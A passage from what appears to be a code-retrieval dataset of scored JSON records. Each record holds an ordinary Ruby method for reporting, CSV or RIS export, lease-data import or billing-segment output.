}, { "docid": "26d13d7b2978b3a77221cffe375704dc", "score": "0.53283346", "text": "def build_summary_table(fiscal_year, library_id)\n years = fiscal_year_ranges(fiscal_year)\n\n options = {\n :library_id => library_id\n }\n\n output_table = {}\n\n # Construct the output hash for the table\n years.each do |year|\n year_table = query_statistics(year, **options)\n year_table.each do |k, v|\n # If the key exists, append to the end\n if output_table.key?(k)\n output_table[k] = output_table[k].append(v)\n # if the key doesn't exist, make a list of lists\n else\n output_table[k] = [v]\n end\n end\n end\n\n return output_table\n end", "title": "" }, { "docid": "1cdaeffb3bd75904e1c50bbc3e41133a", "score": "0.53268397", "text": "def summary()\n\t\tdata = {}\n\t\tdata['ids_id'] = self.id.to_s\n\t\tdata['remote_id'] = self.remote_id\n\t\tdata['patient'] = self.patient\n\t\tdata['visit'] = self.visit\n\t\tdata['type_info'] = self.type_info\n\t\tdata['version'] = self.version_num\n\t\tdata\n\tend", "title": "" }, { "docid": "e4362d3f01424b731895d3668c3b381e", "score": "0.53208494", "text": "def import_details\n report.attributes\n .select { |name, _| name[\"_rows\"] }\n .select { |_, instances| instances.size > 0 }\n .map { |bucket, instances| \"#{instances.size} #{bucket.to_s.gsub('_rows', '').gsub('_', ' ')}\" }\n .join(\", \")\n end", "title": "" }, { "docid": "d5f23406e25d4533db593a470d5b0e21", "score": "0.53182757", "text": "def fields\n %i[fiscal_year] + LaborRequest.fields\n end", "title": "" }, { "docid": "52025cb389cf2cac595ad67e8e9d730b", "score": "0.53038955", "text": "def year_csv(year)\n\n fields = ['ID', 'handle', 'klass', \"dc.contributor.author\", 'pu.department', 'dc.date.accessioned',\n 'bit_groups', 'pu.embargo.lift', 'pu.embargo.terms', 'pu.mudd.walkin', 'dc.rights.accessRights']\n\n fields = ['ID', 'handle', 'klass', 'dc.date.issued', 'dc.date.created', 'dc.date.accessioned', \"dc.contributor.author\"]\n for year in [2016] do\n csv_out(year_hash(year, fields), fields)\n end\nend", "title": "" }, { "docid": "d0c7d6feea47b7de468ca5181db0830d", "score": "0.52987885", "text": "def list_apartments\n printf \"%-10s %-30s %s\\n\", \"ID#\", \"ADDRESS\", \"RENT\"\n puts \"---------------------------------------------\"\n Apartment.all.each { |apt|\n printf \"%-10d %-30s %d\\n\", apt.id, apt.address, apt.monthly_rent\n }\nend", "title": "" }, { "docid": "ea5aa65bad4e04ab67b57605864ff4db", "score": "0.52936584", "text": "def summary\n\t\tif credit?\n\t\t\"#{@date} - \\tCREDIT\\t - #{format_currency(@amount.abs)}\\t - #{@description} \"\n\t\telse\n\t\t\"#{@date} - \\tDEBIT\\t - #{format_currency(@amount.abs)}\\t - #{@description} \"\n\t\tend\n\tend", "title": "" }, { "docid": "7d9724ebe6c118d814d6fe82053d9a0e", "score": "0.5291592", "text": "def export_as_ris\n export_text = \"\"\n # if format == 'book'\n format = fetch(\"format\")\n titles = fetch(\"title_t\", [])\n authors = fetch(\"author_name_t\", [])\n \n case format\n when \"book\" \n # Common\n reference_type = \"BOOK\"\n years = fetch(\"publication_year_t\", [])\n start_page = \"1\"\n end_page = fetch(\"publication_pages_t\", [\"1\"]).first\n publishers = fetch(\"publication_publisher_t\", [])\n serial_numbers = fetch(\"publication_newisbn_t\", [])\n serial_numbers.concat fetch(\"publication_isbn_t\", [])\n keywords = fetch(\"ctrlT_term_t\", [])\n abstracts = fetch(\"abstract_abstract_t\", [])\n when \"article\"\n # Common\n reference_type = \"JOUR\"\n years = fetch(\"journal_year_t\", [])\n start_page = fetch(\"journal_page_t\", [\"1\"]).first\n num_pages = fetch(\"journal_ppage_t\", [\"1\"]).first.to_i\n end_page = (start_page.to_i + num_pages - 1).to_s\n publishers = fetch(\"journal_publisher_t\", [])\n serial_numbers = fetch(\"journal_issn_t\", [])\n serial_numbers.concat fetch(\"journal_eissn_t\", [])\n keywords = fetch(\"ctrlt_text_t\", [])\n abstracts = fetch(\"abstract_text_t\", [])\n \n # Specific to Journal Articles\n journal_full_titles = fetch(\"journal_title_t\", [])\n journal_abbrev_titles = fetch(\"journal_atitle_t\", [])\n journal_volumes = fetch(\"journal_vol_t\", [])\n journal_issues = fetch(\"journal_issue_t\", [])\n when \"journal\"\n # Common\n reference_type = \"JFULL\"\n years = []\n # start_page = []\n # end_page = []\n \n publishers = fetch(\"publisher_name_facet\", [])\n serial_numbers = fetch(\"entry_issn_t\", [])\n # serial_numbers.concat fetch(\"entry_eissn_t\", [])\n keywords = fetch(\"keywords_facet\", [])\n abstracts = fetch(\"entry_description_t\", [])\n else\n years = fetch(\"journal_year_t\", []) \n end\n notes = fetch(\"note_note_t\", [])\n publication_places = fetch(\"publication_location_t\", [])\n dois = fetch(\"recordid_doi_t\", [])\n \n \n export_text << \"TY - #{reference_type}\\r\\n\"\n export_text << titles.map {|v| \"T1 - #{v}\\r\\n\" }.join\n export_text << authors.map {|v| \"AU - #{v}\\r\\n\" }.join\n export_text << years.map {|v| \"PY - #{v}\\r\\n\" }.join\n export_text << notes.map {|v| \"N1 - #{v}\\r\\n\" }.join\n export_text << keywords.map {|v| \"KW - #{v}\\r\\n\" }.join\n unless format == \"journal\"\n export_text << \"SP - #{start_page}\\r\\n\"\n export_text << \"EP - #{end_page}\\r\\n\"\n end\n if format == \"article\"\n export_text << journal_full_titles.map {|v| \"JF - #{v}\\r\\n\" }.join #JF\n export_text << journal_abbrev_titles.map {|v| \"JA - #{v}\\r\\n\" }.join #JA\n export_text << journal_volumes.map {|v| \"VL - #{v}\\r\\n\" }.join\n export_text << journal_issues.map {|v| \"IS - #{v}\\r\\n\" }.join #IS\n end\n export_text << publishers.map {|v| \"PB - #{v}\\r\\n\" }.join\n export_text << publication_places.map {|v| \"CY - #{v}\\r\\n\" }.join\n export_text << serial_numbers.map {|v| \"SN - #{v}\\r\\n\" }.join\n export_text << dois.map {|v| \"DO - #{v}\\r\\n\" }.join\n export_text << abstracts.map {|v| \"AB - #{v}\\r\\n\" }.join\n\n\n return export_text unless export_text.blank?\n end", "title": "" }, { "docid": "851fdf5e841e57bb9432f91e2ffe2f89", "score": "0.5288499", "text": "def import_occupancy_and_leasing_details(oo)\n if !read_via_numeral(1,1).nil? && date_fetch(1,\"A\") == :date\n month,year=read_via_numeral(1,1).to_date.month,read_via_numeral(1,1).to_date.year\n row,head_row,column=9,7,1\n title_and_column={}\n title=[\"unit\",\"sf\",\"tenant\",\"spacetype\",\"termstart\",\"termend\",\"base\",\"effective\",\"ti's\",\"lc's\",\"options/comments\"]\n title.push \"securitydeposit\" if @cur_parse_type == 'AMP'\n while column <=16\n if !read_via_numeral(head_row,column).nil? && !read_via_numeral(head_row,column).downcase.match(/(months)/)\n if read_via_numeral(head_row,column).downcase.gsub(' ','')==\"dateexecuted\" or read_via_numeral(head_row,column).downcase.gsub(' ','')==\"leasedate\"\n title_and_column.store(\"dateexecuted\",column)\n elsif read_via_numeral(head_row,column).downcase.gsub(' ','').include? 'base' or read_via_numeral(head_row,column).downcase.gsub(' ','').include? \"effective\"\n title_and_column.store(read_via_numeral(head_row,column).downcase.gsub(' ','').include?(\"base\") ? 'base' : 'effective',column)\n elsif title.include?(read_via_numeral(head_row,column).downcase.gsub(' ',''))\n title_and_column.store(read_via_numeral(head_row,column).downcase.gsub(' ','').gsub(\"'s\",\"s\").gsub('/',''),column)\n end\n end\n column=column+1\n end\n suites = Suite.find_all_by_real_estate_property_id(@prop_id).map(&:id)\n PropertyLease.delete_all(['month = ? and year = ? and property_suite_id IN (?) and occupancy_type != ? ', month, year, suites,'current'] ) if !suites.nil? and !suites.empty?\n PropertyOccupancySummary.delete_all(['real_estate_property_id = ? and month = ? and year = ?',@prop_id, month, year])\n while(row <=find_last_base_cell) do\n if !read_via_numeral(row,1).nil? and read_via_numeral(row,1).class == String and !([\"total expiry\",\"total new\",\"total renewal\",\"total future commencements\",\"occupancy statistics\",\"tenant occupancy\"].include?(read_via_numeral(row,1).downcase.strip))\n occupancy_type,row=read_via_numeral(row,1).downcase.strip,row+1\n while(row <=find_last_base_cell) do\n if !read_via_numeral(row,3).nil?\n #Leading zero truncation added .gsub!(/^0+/,'')\n prop_suite = Suite.find(:all, :conditions=>['real_estate_property_id = ? and suite_no = ? and space_type = ? and rentable_sqft =?', @prop_id,read_via_numeral(row,title_and_column[\"unit\"]).to_s.gsub('.0', ''),read_via_numeral(row,title_and_column[\"spacetype\"]).downcase,read_via_numeral(row,title_and_column[\"sf\"])])\n prop_suite=prop_suite[0] unless prop_suite.blank?\n # modified based on the Lease Mgmt DB structure\n if !(read_via_numeral(row,title_and_column[\"termstart\"]).nil? && read_via_numeral(row,title_and_column[\"termend\"]).nil? ) && occupancy_type != \"expirations\" #&& (read_via_numeral(row,title_and_column[\"termstart\"]) <= Date.today && read_via_numeral(row,title_and_column[\"termend\"]) >= Date.today ) #added to check whether the suite is vacant\n #Leading zero truncation added .gsub!(/^0+/,'')\n\n mtm = read_via_numeral(row,title_and_column[\"termend\"]) < Date.today ? 1 : 0\n\n #Conditions for multiple suites present#\n prop_suite_arr = []\n suite_number = read_via_numeral(row,title_and_column[\"unit\"]).to_s.gsub('.0', '')\n if suite_number.include?(',') || suite_number.include?('/')\n suite_array = suite_number.split(',') if suite_number.include?(',')\n suite_array = suite_number.split('/') if suite_number.include?('/')\n suite_array.each do |val|\n find_suite = Suite.find_by_suite_no_and_real_estate_property_id(val,@prop_id)\n if !find_suite.present?\n rentable_sqft = read_via_numeral(row,title_and_column[\"sf\"]).to_f / suite_array.size #Total Sqft divided equally based on array size. Each suite will have same sqft#\n prop_suite=Suite.new\n prop_suite.real_estate_property_id=@prop_id\n prop_suite.suite_no=val\n prop_suite.rentable_sqft=rentable_sqft\n prop_suite.space_type=read_via_numeral(row,title_and_column[\"spacetype\"]).downcase\n prop_suite.user_id=@curr_user\n prop_suite.status='Occupied'\n prop_suite.save\n prop_suite_arr << prop_suite\n else\n prop_suite=Suite.find_or_create_by_suite_no_and_real_estate_property_id(:real_estate_property_id=>@prop_id,:suite_no=>val,:rentable_sqft=>read_via_numeral(row,title_and_column[\"sf\"]),:space_type=>read_via_numeral(row,title_and_column[\"spacetype\"]).downcase,:user_id=>@curr_user,:status=>'Occupied') if prop_suite.blank?\n prop_suite_arr << prop_suite\n end\n end\n else\n prop_suite=Suite.find_or_create_by_suite_no_and_real_estate_property_id(:real_estate_property_id=>@prop_id,:suite_no=>read_via_numeral(row,title_and_column[\"unit\"]).to_s.gsub('.0', ''),:rentable_sqft=>read_via_numeral(row,title_and_column[\"sf\"]),:space_type=>read_via_numeral(row,title_and_column[\"spacetype\"]).downcase,:user_id=>@curr_user,:status=>'Occupied') if prop_suite.blank?\n prop_suite_arr << prop_suite\n end\n\n prop_suite_arr.present? && prop_suite_arr.each do |prop_suite|\n tenant = Tenant.create(:tenant_legal_name=>read_via_numeral(row,title_and_column[\"tenant\"]))\n lease = Lease.create(:commencement=> read_via_numeral(row,title_and_column[\"termstart\"]), :expiration=>read_via_numeral(row,title_and_column[\"termend\"]),:execution=>read_via_numeral(row,title_and_column[\"dateexecuted\"]),:occupancy_type=>occupancy_type,:status =>'Active',:real_estate_property_id=>@prop_id,:is_executed=>1,:user_id=>@curr_user,:effective_rate=>read_via_numeral(row,title_and_column[\"effective\"]),:mtm=>mtm)\n PropertyLeaseSuite.find_or_create_by_lease_id_and_tenant_id(:suite_ids=>[prop_suite.id],:lease_id=>lease.id,:tenant_id=>tenant.id)\n explanation =LeasesExplanation.create(:lease_id=>lease.id,:real_estate_property_id=>@prop_id,:explanation=>read_via_numeral(row,title_and_column[\"optionscomments\"]),:occupancy_type=>occupancy_type,:user_id=>@curr_user,:month=>Date.today.month,:year=>Date.today.year)\n rent = Rent.create(:lease_id=>lease.id)\n RentSchedule.find_or_create_by_suite_id(:suite_id=>prop_suite.id, :amount_per_month=>read_via_numeral(row,title_and_column[\"base\"]),:rent_id=>rent.id)\n capex = CapEx.find_or_create_by_lease_id(:lease_id=>lease.id,:security_deposit_amount=>title_and_column[\"securitydeposit\"].nil? ? nil : read_via_numeral(row,title_and_column[\"securitydeposit\"]))\n TenantImprovement.find_or_create_by_cap_ex_id(:cap_ex_id=>capex.id,:total_amount=>read_via_numeral(row,title_and_column[\"tis\"]))\n LeasingCommission.find_or_create_by_cap_ex_id(:cap_ex_id=>capex.id,:total_amount=>read_via_numeral(row,title_and_column[\"lcs\"]))\n end\n else\n # for vacant suites, expired leases\n\n #Conditions for multiple suites present#\n prop_suite_arr = []\n suite_number = read_via_numeral(row,title_and_column[\"unit\"]).to_s.gsub('.0', '')\n if suite_number.include?(',') || suite_number.include?('/')\n suite_array = suite_number.split(',') if suite_number.include?(',')\n suite_array = suite_number.split('/') if suite_number.include?('/')\n suite_array.each do |val|\n find_suite = Suite.find_by_suite_no_and_real_estate_property_id(val,@prop_id)\n if !find_suite.present?\n rentable_sqft = read_via_numeral(row,title_and_column[\"sf\"]).to_f / suite_array.size #Total Sqft divided equally based on array size. Each suite will have same sqft#\n prop_suite=Suite.new\n prop_suite.real_estate_property_id=@prop_id\n prop_suite.suite_no=val\n prop_suite.rentable_sqft=rentable_sqft\n prop_suite.space_type=read_via_numeral(row,title_and_column[\"spacetype\"]).downcase\n prop_suite.user_id=@curr_user\n prop_suite.status='Vacant'\n prop_suite.save\n prop_suite_arr << prop_suite\n else\n prop_suite=Suite.find_or_create_by_suite_no_and_real_estate_property_id(:real_estate_property_id=>@prop_id,:suite_no=>val,:rentable_sqft=>read_via_numeral(row,title_and_column[\"sf\"]),:space_type=>read_via_numeral(row,title_and_column[\"spacetype\"]).downcase,:user_id=>@curr_user,:status=>'Occupied') if prop_suite.blank?\n prop_suite_arr << prop_suite\n end\n end\n else\n prop_suite=Suite.find_or_create_by_suite_no_and_real_estate_property_id(:real_estate_property_id=>@prop_id,:suite_no=>read_via_numeral(row,title_and_column[\"unit\"]).to_s.gsub('.0', ''),:rentable_sqft=>read_via_numeral(row,title_and_column[\"sf\"]),:space_type=>read_via_numeral(row,title_and_column[\"spacetype\"]).downcase,:user_id=>@curr_user,:status=>'Occupied') if prop_suite.blank?\n prop_suite_arr << prop_suite\n end\n prop_suite_arr.present? && prop_suite_arr.each do |prop_suite|\n tenant = Tenant.create(:tenant_legal_name=>read_via_numeral(row,title_and_column[\"tenant\"]))\n lease = Lease.create(:commencement=> read_via_numeral(row,title_and_column[\"termstart\"]), :expiration=>read_via_numeral(row,title_and_column[\"termend\"]),:execution=>read_via_numeral(row,title_and_column[\"dateexecuted\"]),:occupancy_type=>occupancy_type,:status =>'Inactive',:real_estate_property_id=>@prop_id,:is_executed=>1,:user_id=>@curr_user,:effective_rate=>read_via_numeral(row,title_and_column[\"effective\"]))\n PropertyLeaseSuite.find_or_create_by_lease_id_and_tenant_id(:suite_ids=>[prop_suite.id],:lease_id=>lease.id,:tenant_id=>tenant.id)\n explanation =LeasesExplanation.create(:lease_id=>lease.id,:real_estate_property_id=>@prop_id,:explanation=>read_via_numeral(row,title_and_column[\"optionscomments\"]),:occupancy_type=>occupancy_type,:user_id=>@curr_user,:month=>Date.today.month,:year=>Date.today.year)\n rent = Rent.create(:lease_id=>lease.id)\n RentSchedule.find_or_create_by_suite_id(:suite_id=>prop_suite.id, :amount_per_month=>read_via_numeral(row,title_and_column[\"base\"]),:rent_id=>rent.id)\n capex = CapEx.find_or_create_by_lease_id(:lease_id=>lease.id,:security_deposit_amount=>title_and_column[\"securitydeposit\"].nil? ? nil : read_via_numeral(row,title_and_column[\"securitydeposit\"]))\n TenantImprovement.find_or_create_by_cap_ex_id(:cap_ex_id=>capex.id,:total_amount=>read_via_numeral(row,title_and_column[\"tis\"]))\n LeasingCommission.find_or_create_by_cap_ex_id(:cap_ex_id=>capex.id,:total_amount=>read_via_numeral(row,title_and_column[\"lcs\"]))\n end\n end\n end\n break if read_via_numeral(row,1).class == String && read_via_numeral(row,2).nil?\n row=row+1\n end\n elsif !read_via_numeral(row,1).nil? && read_via_numeral(row,1).class == String && (read_via_numeral(row,1).downcase.strip==\"occupancy statistics\" || read_via_numeral(row,1).downcase.strip.include?(\"tenant occupancy\") )\n for new_row in row..find_last_base_cell\n for col in 1..2\n if !read_via_numeral(new_row,col).nil? && read_via_numeral(new_row,col).class == String\n if read_via_numeral(new_row, col).downcase.match(/building rentable square feet/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary=CommercialLeaseOccupancy.find_or_create_by_real_estate_property_id(:real_estate_property_id=>@prop_id)\n prop_occup_summary.update_attributes(:month=>month,:year=>year,:total_building_rentable_s=>read_via_numeral(new_row,up_col))\n elsif read_via_numeral(new_row, col).downcase.match(/sf occupied as of/)\n if read_via_numeral(new_row+1, col).nil?\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:last_year_sf_occupied_actual=>read_via_numeral(new_row,up_col),:last_year_sf_occupied_budget=>read_via_numeral(new_row,up_col+1))\n elsif read_via_numeral(new_row+1, col).downcase.match(/occupancy/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:current_year_sf_occupied_actual=>read_via_numeral(new_row,up_col),:current_year_sf_occupied_budget=>read_via_numeral(new_row,up_col+1))\n end\n elsif read_via_numeral(new_row, col).downcase.match(/sf occupied/)\n if read_via_numeral(new_row+1, col).downcase.match(/occupancy/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:current_year_sf_occupied_actual=>read_via_numeral(new_row,up_col),:current_year_sf_occupied_budget=>read_via_numeral(new_row,up_col+1))\n end\n elsif read_via_numeral(new_row, col).downcase.match(/sf vacant/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:current_year_sf_vacant_actual=>read_via_numeral(new_row,up_col),:current_year_sf_vacant_budget=>read_via_numeral(new_row,up_col+1))\n elsif read_via_numeral(new_row,col).downcase.match(/new leases/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:new_leases_actual=>read_via_numeral(new_row,up_col),:new_leases_budget=>read_via_numeral(new_row,up_col+1))\n elsif read_via_numeral(new_row,col).downcase.match(/renewals/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:renewals_actual=>read_via_numeral(new_row,up_col),:renewals_budget=>read_via_numeral(new_row,up_col+1))\n elsif read_via_numeral(new_row,col).downcase.match(/expirations/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:expirations_actual=>read_via_numeral(new_row,up_col),:expirations_budget=>read_via_numeral(new_row,up_col+1))\n end\n end\n end\n row=new_row\n end\n end\n row=row+1\n end\n #~ update_expiration_new_renewal(month,year)\n end\n end", "title": "" }, { "docid": "b648fa39f6e9332779f66b0b082dff6c", "score": "0.5283431", "text": "def to_csv\n\t\ta = @author.delete \"\\n\\t\"\n\t\tt = @title.delete \"\\n\\t\"\n\t\td = @description.delete \"\\n\\t\"\n\t\tcsv_string = \"\\\"\" + @year + \"\\\",\\\"\" + a +\"\\\",\\\"\" + t + \"\\\",\\\"\" + d + \"\\\"\\n\"\n\t\treturn csv_string\n\tend", "title": "" }, { "docid": "3910ee4f98279965fb3d1609dd7a3e47", "score": "0.5279276", "text": "def build_csv_line\n [company.name,\n invoice_num,\n format_date(invoice_date),\n format_date(operation_date),\n amount.to_f,\n reporter,\n notes,\n status,\n get_categories]\n end", "title": "" }, { "docid": "be6f29f8cc893a38aedfcb528e2b067b", "score": "0.5274511", "text": "def to_s\n \"#{model.make.name} - #{model.name} - #{year}\"\n end", "title": "" }, { "docid": "f7cacedd455d3a0cfe8bad0acd41bb13", "score": "0.52744126", "text": "def service_payment_information\r\n service_payment_elements =[]\r\n service_payment_elements << 'SVC'\r\n service_payment_elements << composite_med_proc_id\r\n service_payment_elements << service.amount('service_procedure_charge_amount')\r\n service_payment_elements << service.amount('service_paid_amount')\r\n service_payment_elements << svc_revenue_code\r\n service_payment_elements << service.service_quantity.to_f.to_amount\r\n service_payment_elements << svc_procedure_cpt_code\r\n service_payment_elements = Output835.trim_segment(service_payment_elements)\r\n service_payment_elements.join(@element_seperator )\r\n end", "title": "" }, { "docid": "dc3973f6273f8295e799f898328172f1", "score": "0.5273919", "text": "def summary\n result = []\n all.each do |entity|\n result << {\n id: entity.id,\n name: entity.name,\n tag_count: entity.tags.count,\n tag_ids: entity.tags.map(&:id)\n }\n end\n result\n end", "title": "" }, { "docid": "6ee9ee5be86a1f9db580f0f4ec9238cd", "score": "0.52581185", "text": "def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end", "title": "" }, { "docid": "0eaf21cd816de9ddd79d218b756d780e", "score": "0.52570313", "text": "def general\n authors = @authors.join(', ')\n \"#{authors} (#{@year}). \\\"#{@title}\\\" #{@journal} #{@volume}:#{@pages}.\"\n end", "title": "" }, { "docid": "684f457b1227cd3785be2dffa3159ba7", "score": "0.52459943", "text": "def render_program_service_accomplishments\n psa_get_data = ProgramServiceAccomplishment.where(organisation_id: self.id)\n program_service_accomplishments = []\n\n psa_get_data.each do |accomplishment|\n program_service_accomplishments << {\n expense_amount: accomplishment.expense_amount.to_i,\n grant_amount: accomplishment.grant_amount.to_i,\n revenues: accomplishment.revenues.to_i,\n description: accomplishment.description}\n end\n program_service_accomplishments\n end", "title": "" }, { "docid": "8eb3b2381f86b69df3567e9ba254517e", "score": "0.5245647", "text": "def summary\n authorize! :read, BookEdition\n @book_editions = BookEdition.all.order(:title) \n if params[:condition] && params[:condition] != 'all' \n @condition = BookCondition.find_by_code(params[:condition])\n end \n respond_to do |format|\n format.html { @book_editions = @book_editions.paginate(page: params[:page], per_page: 100) }\n format.xls \n end\n end", "title": "" }, { "docid": "5683ff103dd8461d56702ce6b4d8e62f", "score": "0.52411866", "text": "def build_table_body\n data.each_with_index do |row, index|\n output << \"[\\\"\" + data.column_names.inject([]) { |a, c| a.push(row[c]); a }.join('\",\"') + \"\\\"]\"\n output << \",\\n\" if data.size != index + 1\n end\n end", "title": "" }, { "docid": "e821f699e3fb54477041f47ce43f4903", "score": "0.52392566", "text": "def header\r\n puts \"Item Description Price\"\r\n puts \"----- ----------- ------\"\r\nend", "title": "" }, { "docid": "2a0afde6ed54b4ffe4a50f030e7ab3e7", "score": "0.5231341", "text": "def service_payment_information\n service_payment_elements =[]\n service_payment_elements << 'SVC'\n service_payment_elements << composite_med_proc_id\n service_payment_elements << service.amount('service_procedure_charge_amount')\n service_payment_elements << service.amount('service_paid_amount')\n service_payment_elements << svc_revenue_code #service.revenue_code\n if (service.service_quantity.to_f.to_amount > 0)\n service_payment_elements << service.service_quantity.to_f.to_amount\n else\n service_payment_elements << '1'\n end\n service_payment_elements = Output835.trim_segment(service_payment_elements)\n service_payment_elements.join(@element_seperator )\n end", "title": "" }, { "docid": "512661647cbcac9df8892181e19cb8d2", "score": "0.52277637", "text": "def write_claim_payment_information(params)\n segments = []\n Output835.log.info \"\\n\\nCheck has #{@eobs.length} eobs\"\n params[:eobs].each_with_index do |eob, index|\n if params[:count_condition] == 'single' && index == 0\n lx01 = params[:index] ? params[:index] : index + 1\n segments << transaction_set_line_number(lx01, params[:justification], params[:value])\n elsif params[:count_condition] == 'multiple'\n segments << transaction_set_line_number(index + 1, params[:justification])\n end\n segments << provider_summary_info_bac if index == 0\n segments << transaction_statistics([eob])\n eob_klass = Output835.class_for(\"Eob\", facility)\n eob_obj = eob_klass.new(eob, facility, payer, index, @element_seperator) if eob\n Output835.log.info \"Applying class #{eob_klass}\" if index == 0\n segments += eob_obj.generate\n end\n segments = segments.flatten.compact\n segments unless segments.blank?\n end", "title": "" }, { "docid": "a6eb6e8d9f54e8a0d90c445afb6cc796", "score": "0.5227359", "text": "def fields\n %i[fiscal_year] + ContractorRequest.fields\n end", "title": "" }, { "docid": "ed0f2dcd41e536c4e450dddd0bc3d766", "score": "0.52232534", "text": "def expenses\n section, section_name = get_section_id_and_name\n merge_subtotals(data_grid, year, section)\n end", "title": "" }, { "docid": "f43260c89d211eb9904dc86bc232d745", "score": "0.52228826", "text": "def income\n merge_subtotals(data_grid, year, section)\n end", "title": "" }, { "docid": "7a320c3b5e2b9303140de3946049d833", "score": "0.5208901", "text": "def pretty_print_export_header\n text = ''\n comparate_groups.each do |cg|\n text += '['\n cg.comparates.each do |c|\n comparable = c.comparable_element.comparable\n if comparable.instance_of? ExtractionsExtractionFormsProjectsSectionsType1\n t1 = comparable.type1\n text += t1.name\n text += \" (#{t1.description}), \" if t1.description.present?\n elsif comparable.instance_of? ExtractionsExtractionFormsProjectsSectionsType1RowColumn\n tn = comparable.timepoint_name\n text += tn.name\n text += \" (#{tn.unit}), \" if tn.unit.present?\n end\n end\n text = text.gsub(/,\\s$/, '') + ']'\n text += ' vs. '\n end\n\n \"[ID: #{id}] \" + text[0..-6]\n end", "title": "" }, { "docid": "6380c1941df3cad2e08320aa30ed9a22", "score": "0.52064085", "text": "def to_csv\n attributes = [ \"Contributor\",\n \"Website Sessions\",\n \"Website Users\",\n \"Website Item Views\",\n \"Website Click Throughs\",\n \"BWS Item Count\",\n \"BWS Sessions\",\n \"BWS Users\",\n \"BWS Item Views\",\n \"BWS Click Throughs\",\n \"API Views\",\n \"Item Count\" ]\n\n WikimediaPreparationsPresenter.fields.each do |field|\n attributes.push(field.titleize)\n end\n\n MetadataCompletenessPresenter.fields.each do |field|\n attributes.push(field.titleize + \" Completeness\") unless field == \"count\"\n end\n\n CSV.generate({ headers: true }) do |csv|\n csv << attributes\n\n totals.each do |contributor|\n\n website = contributor[1][\"Website\"]\n bws = contributor[1][\"BWS\"]\n api = contributor[1][\"Api\"]\n mc = contributor[1][\"MetadataCompleteness\"]\n wp = contributor[1][\"WikimediaIntegration\"]\n count = contributor[1][\"ItemCount\"]\n\n data =[ contributor[0],\n website[\"Sessions\"],\n website[\"Users\"],\n website[\"Views\"],\n website[\"Click Throughs\"],\n bws[\"ItemCount\"],\n bws[\"Sessions\"],\n bws[\"Users\"],\n bws[\"Views\"],\n bws[\"Click Throughs\"],\n api[\"Views\"],\n count ]\n\n WikimediaPreparationsPresenter.fields.each do |field|\n data.push(wp[field])\n end\n\n MetadataCompletenessPresenter.fields.each do |field| \n data.push(mc[field]) unless field == \"count\"\n end\n\n csv << data\n end\n end\n end", "title": "" }, { "docid": "6e15cfdf90a48ecce8099a4a2c2fa212", "score": "0.5204298", "text": "def summary\n organization_keys = [:effectiveDate, :houseID, :senateID, :organizationName, :address1, :address2, :city, :state, :zip, :country, :principal_city, :principal_state, :principal_zip, :principal_country,:contactName, :contactPhone, :contactEmail, :registrantGeneralDescription, :clientName, :clientAddress, :clientCity, :clientState, :clientZip, :clientCountry, :prinClientCity, :prinClientState, :prinClientZip, :prinClientCountry, :clientGeneralDescription, :printedName, :signedDate]\n individual_keys = [:effectiveDate, :houseID, :senateID, :prefix, :firstName, :lastName, :address1, :address2, :city, :state, :zip, :country, :principal_city, :principal_state, :principal_zip, :principal_country,:contactName, :contactPhone, :contactEmail, :registrantGeneralDescription, :clientName, :clientAddress, :clientCity, :clientState, :clientZip, :clientCountry, :prinClientCity, :prinClientState, :prinClientZip, :prinClientCountry, :clientGeneralDescription, :printedName, :signedDate]\n disclosure_keys = [:organizationName, :address1, :address2, :city, :state, :zip, :country, :principal_city, :principal_state, :principal_zip, :principal_country, :contactPrefix, :contactName, :contactPhone, :contactEmail, :senateID, :clientName, :houseID, :reportYear, :unknown, :income, :expenses, :printedName, :signedDate]\n begin\n if filing_type == :lobbyingdisclosure1\n keys = reg_type == :individual ? individual_keys : organization_keys\n summary_values = parse.css(\"div\")[1..-1].map{|d| d.text.gsub(/[[:space:]]/, ' ').strip}\n reg_type == :individual ? summary_values = [summary_values.slice(0..30),summary_values[-2..-1]].flatten : summary_values = [summary_values.slice(0..28),summary_values[-2..-1]].flatten\n summary_hash = Gucci::Mapper[*keys.zip(summary_values).flatten]\n begin\n summary_hash[:specific_issues] = parse.css('p')[9].text.strip.gsub(/\\n+/,'; ')\n rescue\n summary_hash[:specific_issues] = parse.css('p')[9].text.strip\n end\n else #filing_type == :lobbyingdisclosure2 #need to change this once we add contribution searching or should I assign subclasses for the different filign types?\n keys = disclosure_keys\n summary_hash = Gucci::Mapper[*keys.zip(parse.css(\"div\")[1..24].map{|d| d.text.gsub(/[[:space:]]/, ' ').strip}).flatten]\n end\n rescue Exception=>e\n parse_problem(e,'@summary')\n end\n data ||= summary_hash\n end", "title": "" }, { "docid": "7f2aea0727b70cf993952de9d3694023", "score": "0.5203014", "text": "def create_data_program( program_id, field_entity, class_entity )\n select_distinct = Expense.select( 'DISTINCT( ' + field_entity + ' )' )\n .where( program_id: program_id )\n name_value = [ ]\n select_distinct.each do |select|\n entity_id = obtain_id( select, class_entity )\n if !entity_id.nil?\n value = Expense.where( program_id: program_id,\n field_entity => entity_id ).sum( :value )\n name = class_entity.find( entity_id ).name.strip\n name_value << [ name, value, class_entity.name, entity_id ]\n end\n end\n\n return name_value\n end", "title": "" }, { "docid": "74a73c5880ac54bebd95915784eb18aa", "score": "0.5199468", "text": "def expenses\n # The total amounts for service/programme/chapter headings is shown when the subtotal is closed,\n # not opened, so we need to keep track of the open ones, and print them when closed.\n # Note: there is an unmatched closing amount, without an opening subtotal header, at the end\n # of the page, containing the amount for the whole section/entity, so we don't start with\n # an empty vector here, we add the 'missing' opening line\n open_subtotals = [{\n year: year,\n section: section,\n service: is_state_entity? ? '' : entity,\n description: name\n }]\n\n merge_subtotals(data_grid, year, section, 